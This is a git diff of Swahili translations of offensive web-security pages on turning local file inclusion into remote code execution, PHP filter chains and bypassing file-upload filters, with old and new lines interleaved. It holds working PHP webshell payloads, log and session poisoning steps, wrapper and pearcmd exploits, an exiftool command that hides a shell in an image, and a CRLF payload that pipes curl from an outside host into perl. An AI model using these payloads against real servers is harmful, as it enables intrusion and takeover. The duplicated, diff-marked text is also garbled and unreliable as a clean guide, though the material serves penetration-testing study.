User-Agent: <?=phpinfo(); ?>
```
### Kupitia upload
### Kupakia
Ikiwa unaweza upload faili, just inject shell payload ndani yake (e.g : `<?php system($_GET['c']); ?>` ).
Ikiwa unaweza kupakia faili, ingiza tu shell payload ndani yake (kwa mfano: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Ili kudumisha faili iwe rahisi kusoma, ni bora kuingiza katika metadata ya picha/doc/pdf
Ili faili iwe rahisi kusoma ni bora ku-inject ndani ya metadata ya picha/doc/pdf
### Kupitia upakiaji wa Zip file
### Kupitia upakuaji wa ZIP
Upakia faili la ZIP lenye PHP shell iliyobanwa (compressed) kisha ufikie:
Pakia faili la ZIP linalojumuisha PHP shell iliyoshinikizwa na ufikie:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Kupitia PHP sessions
Angalia ikiwa tovuti inatumia PHP Session (PHPSESSID)
Angalia kama tovuti inatumia PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Katika PHP sessions hizi zinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ mafaili
Katika PHP, sessions hizi zinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ mafaili.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -573,24 +551,24 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Kupitia ssh
Ikiwa ssh inafanya kazi, angalia ni mtumiaji gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\<HOME>/.ssh/id_rsa**
Kama ssh iko hai angalia ni mtumiaji gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\<HOME>/.ssh/id_rsa**
### **Kupitia** **vsftpd** _**logs**_
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. Katika tukio ambapo kuna udhaifu wa Local File Inclusion (LFI), na uwezekano wa kufikia server ya vsftpd iliyo wazi, hatua zifuatazo zinaweza kuzingatiwa:
Logs za server ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika senario ambapo kuna Local File Inclusion (LFI) vulnerability, na ikiwa inawezekana kupata server ya vsftpd iliyofichuliwa, hatua zifuatazo zinaweza kuzingatiwa:
1. Ingiza PHP payload kwenye username field wakati wa mchakato wa login.
1. Ingiza payload ya PHP kwenye uwanja wa username wakati wa mchakato wa kuingia.
2. Baada ya injection, tumia LFI kupata logs za server kutoka _**/var/log/vsftpd.log**_.
### Kupitia php base64 filter (using base64)
### Kupitia php base64 filter (kutumia base64)
Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Unaweza kutumia hilo kupita ukaguzi wa file extension: ikiwa utatoa base64 inayomalizika na ".php", itapuuza tu "." na kuongeza "php" kwenye base64. Hapa kuna mfano wa payload:
Kama inavyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter hupuuza tu Non-base64. Unaweza kutumia hilo kupitisha ukaguzi wa extension ya faili: ikiwa utatoa base64 inayomalizika na ".php", itapuuza tu "." na itaongeza "php" kwenye base64. Hapa kuna mfano wa payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Kupitia php filters (hakuna faili inahitajika)
### Kwa kutumia php filters (hakuna faili inahitajika)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
@ -599,16 +577,15 @@ This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278
lfi2rce-via-php-filters.md
{{#endref}}
### Kupitia segmentation fault
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
### Kwa kutumia segmentation fault
**Pakia** faili itakayohifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombi lile lile,** chochea **segmentation fault**, na kisha **temporary file won't be deleted** na unaweza kuitafuta.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Kupitia Nginx temp file storage
### Kwa kutumia Nginx temp file storage
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
@ -617,18 +594,18 @@ If you found a **Local File Inclusion** and **Nginx** is running in front of PHP
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Kupitia PHP_SESSION_UPLOAD_PROGRESS
### Kutumia PHP_SESSION_UPLOAD_PROGRESS
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` ni `Off`. Ukitoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **multipart POST**, PHP itaanzisha session kwa niaba yako. Unaweza kutumia hili kupata RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Kupitia temp file uploads in Windows
### Kupitia upakiaji wa faili za muda kwenye Windows
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
Ikiwa umepata **Local File Inclusion** na server inaendesha kwenye **Windows** unaweza kupata RCE:
{{#ref}}
@ -643,7 +620,7 @@ The following request create a file in `/tmp/hello.php` with the content `<?=php
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Ifuatayo inatumia vuln ya CRLF kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Ifuatayo inatumia CRLF vuln kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -652,7 +629,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Kupitia phpinfo() (file_uploads = on)
Ikiwa umepata **Local File Inclusion** na faili inayoonyesha **phpinfo()** ambapo file_uploads = on unaweza kupata RCE:
Ikiwa umepata **Local File Inclusion** na faili inayofichua **phpinfo()** yenye file_uploads = on unaweza kupata RCE:
{{#ref}}
@ -661,7 +638,7 @@ lfi2rce-via-phpinfo.md
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate the path** ya temp file LAKINI **server** inakagua kama **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia **Race Condition**:
Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate the path** ya faili ya muda LAKINI **server** inafanya **checking** kama **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia hii **Race Condition**:
{{#ref}}
@ -670,7 +647,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Kupitia eternal waiting + bruteforce
Ikiwa unaweza kutumia LFI ku**upload temporary files** na kufanya **server** iangushe utekelezaji wa PHP, basi unaweza kisha **brute force filenames during hours** ili kupata temporary file:
Ikiwa unaweza kuabusu LFI ili **upload temporary files** na kufanya server **hang** utekelezaji wa PHP, unaweza kisha **brute force filenames during hours** kutafuta faili ya muda:
{{#ref}}
@ -679,14 +656,14 @@ lfi2rce-via-eternal-waiting.md
### Kwa Fatal Error
Ikiwa ujumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha hitilafu hiyo).
Ikiwa unajumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha kosa hilo).
**Sijui jinsi hii inavyoweza kuwa muhimu lakini inaweza kuwa.**\
_Hata ukisababisha PHP Fatal Error, PHP temporary files zilizopakiwa zinafutwa._
**Sijui jinsi hili linavyoweza kuwa muhimu lakini linaweza kuwa.**\
_Hata ukisababisha PHP Fatal Error, PHP temporary files zilizopakiwa hufutwa._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Marejeo
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -695,6 +672,7 @@ _Hata ukisababisha PHP Fatal Error, PHP temporary files zilizopakiwa zinafutwa._
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

42
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -1,39 +1,40 @@
# LFI2RCE kupitia Filters za PHP
# LFI2RCE via PHP Filters
{{#include ../../banners/hacktricks-training.md}}
## Intro
Hii [**andika**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **filters za php kuunda maudhui yasiyo na mipaka** kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza **kuunda msimbo wa php usio na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
## Utangulizi
Kimsingi lengo la script ni **kuunda Base64** string mwanzoni mwa faili ambayo itakuwa **hatimaye inatambuliwa** ikitoa payload inayotakiwa ambayo itakuwa **inatafsiriwa na `include`**.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
Misingi ya kufanya hivi ni:
Msingi ya script ni **kuzalisha Base64** string mwanzoni mwa file ambayo itakamilishwa kwa **decoding** na kutoa payload inayotakiwa ambayo itatafsiriwa na `include`.
- `convert.iconv.UTF8.CSISO2022KR` kila wakati itakuwa na `\x1b$)C` kabla ya string
- `convert.base64-decode` ni mvumilivu sana, kimsingi itapuuzilia mbali wahusika wowote ambao si halali base64. Inatoa matatizo kidogo ikiwa inakutana na "=" zisizotarajiwa lakini hizo zinaweza kuondolewa kwa kutumia filter `convert.iconv.UTF8.UTF7`.
Misingi ya kufanya hivyo ni:
Mzunguko wa kuunda maudhui yasiyo na mipaka ni:
- `convert.iconv.UTF8.CSISO2022KR` itaweka kila mara `\x1b$)C` mwanzoni mwa string
- `convert.base64-decode` ni mwenye uvumilivu mkubwa; kwa msingi itapuuzia herufi yoyote ambayo si halali kwa base64. Inatoa matatizo ikiwa itakutana na "=" isiyotarajiwa lakini hayo yanaweza kuondolewa na filter `convert.iconv.UTF8.UTF7`
1. weka `\x1b$)C` kabla ya string yetu kama ilivyoelezwa hapo juu
2. tumia mnyororo wa mabadiliko ya iconv ambayo inacha base64 yetu ya awali kuwa intact na kubadilisha sehemu tuliyoongeza kwa string ambapo wahusika halali wa base64 ni sehemu inayofuata ya msimbo wetu wa php ulio na base64
3. base64-decode na base64-encode string ambayo itatoa takataka yoyote katikati
4. Rudi kwenye 1 ikiwa base64 tunayotaka kuunda haijakamilika bado
5. base64-decode ili kupata msimbo wetu wa php
Mzunguko wa kuunda maudhui ya hiari ni:
1. weka mwanzoni `\x1b$)C` kwenye string yetu kama ilivyoelezwa hapo juu
2. tumia mnyororo wa conversions za iconv ambao unaacha base64 yetu ya awali bila kubadilika na kubadilisha sehemu tuliyoiongeza kuwa string ambapo herufi pekee halali za base64 ni sehemu inayofuata ya php code yetu iliyochanganishwa kwa base64
3. base64-decode na kisha base64-encode string ambayo itaondoa takwimu zisizohitajika kati
4. rudi hatua ya 1 ikiwa base64 tunayotaka kujenga bado haijakamilika
5. base64-decode ili kupata php code yetu
> [!WARNING]
> **Inajumuisha** kawaida hufanya mambo kama **kuongeza ".php" mwishoni** mwa faili, ambayo inaweza kuwa ngumu katika unyakuzi huu kwa sababu unahitaji kupata faili .php yenye maudhui ambayo hayaua unyakuzi... au unaweza **tu kutumia `php://temp` kama rasilimali** kwa sababu inaweza **kuwa na chochote kilichoongezwa kwenye jina** (kama "+.php") na bado itaruhusu unyakuzi ufanye kazi!
> **Includes** kawaida hufanya mambo kama **appending ".php" at the end** ya file, ambayo inaweza kufanya exploitation kuwa ngumu kwa sababu utahitaji kupata faili .php yenye content ambayo haitakufa (doesn't kill) exploit... au unaweza **tu tumia `php://temp` kama resource** kwa sababu inaweza **have anything appended in the name** (lie +".php") na bado itawezesha exploit kufanya kazi!
## Jinsi ya kuongeza pia viambatisho kwa data inayotokana
## Jinsi ya kuongeza pia suffixes kwa data inayopatikana
[**Andika hii inaelezea**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) jinsi unaweza bado kutumia filters za PHP kuongeza viambatisho kwa string inayotokana. Hii ni nzuri ikiwa unahitaji matokeo kuwa na muundo maalum (kama json au labda kuongeza baadhi ya bytes za uchawi za PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) jinsi unaweza bado kuabusu PHP filters kuongeza suffixes kwenye string inayopatikana. Hii ni nzuri ikiwa unahitaji output kuwa na format maalum (kama json au labda kuongeza baadhi ya PNG magic bytes)
## Zana za Kiotomatiki
## Vyombo vya Kiotomatiki
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(inaweza kuongeza viambatisho)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Script Kamili
## Script kamili
```python
import requests
@ -95,7 +96,7 @@ print(r.text)
```
### Maboresho
Script ya awali ina mipaka kwa wahusika wa base64 wanaohitajika kwa ajili ya payload hiyo. Hivyo, nilitengeneza script yangu mwenyewe ili **kujaribu nguvu zote za wahusika wa base64**:
Script iliyopita ina mipaka kwa herufi za base64 zinazohitajika kwa payload hiyo. Kwa hivyo, niliunda script yangu mwenyewe ili **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -253,6 +254,7 @@ find_vals($init);
## Marejeleo Zaidi
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

186
src/pentesting-web/file-upload/README.md
View File

@ -1,13 +1,13 @@
# File Upload
# Kupakia Faili
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Mbinu Za Jumla za Kupakia Faili
Other useful extensions:
Nyongeza za ziada muhimu:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Kupitisha ukaguzi wa extensions za faili
1. Ikiwa zinahusika, **angalia** **nyongeza za awali.** Pia jaribu kuzitumia kwa **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza nyongeza halali kabla** ya nyongeza ya utekelezaji (tumia nyongeza za awali pia):_
1. Kama zinatumika, **angalia** **extensions zilizotajwa hapo juu.** Pia zijaribu kwa kutumia baadhi ya **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza extension halali kabla** ya extension ya utekelezaji (tumia extensions zilizotajwa hapo juu pia):_
- _file.png.php_
- _file.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp **kujaribu** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **nyongeza** zilizotajwa **awali**_)
3. Jaribu kuongeza **vishazi maalum mwishoni.** Unaweza kutumia Burp kufanya **bruteforce** kwa **ascii** na **Unicode** zote. (_Kumbuka pia unaweza kujaribu kutumia **extensions** zilizotajwa hapo juu_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Jaribu kupita ulinzi **kwa kudanganya parser ya nyongeza** ya upande wa seva kwa mbinu kama **kuongeza** **nyongeza** au **kuongeza data** ya **junk** (**bytes** za **null**) kati ya nyongeza. _Unaweza pia kutumia **nyongeza za awali** kuandaa payload bora._
4. Jaribu kuipita kinga kwa **kuudanganya parser ya extension** upande wa server kwa mbinu kama **kudouble** extension au **kuongeza data za taka** (bytes za **null**) kati ya extensions. _Unaweza pia kutumia **extensions** zilizotajwa hapo juu kupanga payload bora._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Ongeza **tabaka lingine la nyongeza** kwa ukaguzi wa awali:
5. Ongeza **tabaka nyingine za extensions** kwa ukaguzi uliotangulia:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Jaribu kuweka **nyongeza ya exec kabla ya nyongeza halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia katika usanidi mbaya wa Apache ambapo chochote chenye nyongeza **_**.php**_**, lakini** si lazima kumalizika kwa .php** kitaendesha msimbo):
6. Jaribu kuweka **exec extension kabla ya extension halali** na matumaini server imekonfiguriwa vibaya. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
- _ex: file.php.png_
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya nyongeza iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye nyongeza iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama vile kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Nyongeza halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya colon ":" itaingizwa baada ya extension iliyoruhusiwa na kabla ya ile inayoruhusiwa. Matokeo yake, faili tupu yenye extension iliyoruhusiwa itaundwa kwenye server (mfano "file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia short filename yake. Muundo wa "**::$data**” pia unaweza kutumika kuunda faili zisizo tupu. Kwa hiyo, kuongeza nukta baada ya muundo huu kunaweza kuwa muhimu kupita vizuizi zaidi (.e.g. "file.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP ya hatari inabaki. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -63,52 +63,52 @@ AAA<--SNIP 232 A-->AAA.php.png
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
- Pitia ukaguzi wa **magic number** kwa kuongeza mwanzoni mwa faili bytes za picha halisi (kuwachanganya amri ya _file_). Au weka shell ndani ya **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`\` au unaweza pia **kuingiza payload moja kwa moja** ndani ya picha:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- Ikiwa **compression** inaongezwa kwa picha yako, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu zilizotangulia hazitafaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuweka baadhi ya maandishi ambayo yataendelea kuwepo baada ya compression.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- Ukurasa wa wavuti pia unaweza kuwa unafanya **resizing** kwa **picha**, kwa mfano kwa kutumia PHP-GD functions `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yataendelea kuwepo baada ya compression.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- Mbinu nyingine ya kutengeneza payload ambayo **itaishi wakati wa resizing ya picha**, kutumia PHP-GD function `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yataendelea kuwepo baada ya compression.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Mbinu Nyingine za Kuangalia
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
- Tafuta udhaifu wa **rename** ya faili iliyopakiwa tayari (kubadilisha extension).
- Tafuta udhaifu wa **Local File Inclusion** ili kuendesha backdoor.
- **Uwezekano wa kufichuliwa kwa taarifa**:
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) **faili ile ile** yenye **jina lile lile**
2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo**
3. Kupakia faili yenye **"." , "..", au "…" kama jina lake**. Kwa mfano, kwenye Apache katika **Windows**, kama application inahifadhi faili zilizopakuliwa katika saraka "/www/uploads/", filename "." itaunda faili iitwayo "uploads" katika saraka "/www/".
4. Pakia faili ambayo haiwezi kufutwa kwa urahisi kama **"…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** na **herufi zisizo halali** kama `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** ukitumia majina yaliyohifadhiwa (**reserved**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Jaribu pia kupakia executable (.exe) au **.html** (inayofanana kidogo) ambayo **itaendesha code** wakati itafunguliwa bila kukusudia na mwathirika.
### Special extension tricks
### Mbinu maalum za extension
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ikiwa unajaribu kupakia faili kwenye **PHP server**, [tazama mbinu ya **.htaccess** ya kutekeleza code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Ikiwa unajaribu kupakia faili kwenye **ASP server**, [tazama mbinu ya **.config** ya kutekeleza code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza kutumika kama faili ya php (kuitekeleza na php, au kuiingiza ndani ya script...)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
Extension `.inc` wakati mwingine inatumika kwa faili za php zinazotumika tu kuingiza faili, hivyo, katika sehemu fulani, mtu anaweza kuruhusu **extension hii itekelezwe**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Ikiwa unaweza kupakia faili ya XML kwenye server ya Jetty unaweza kupata [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Kwa hiyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na tarajia shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa awali: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
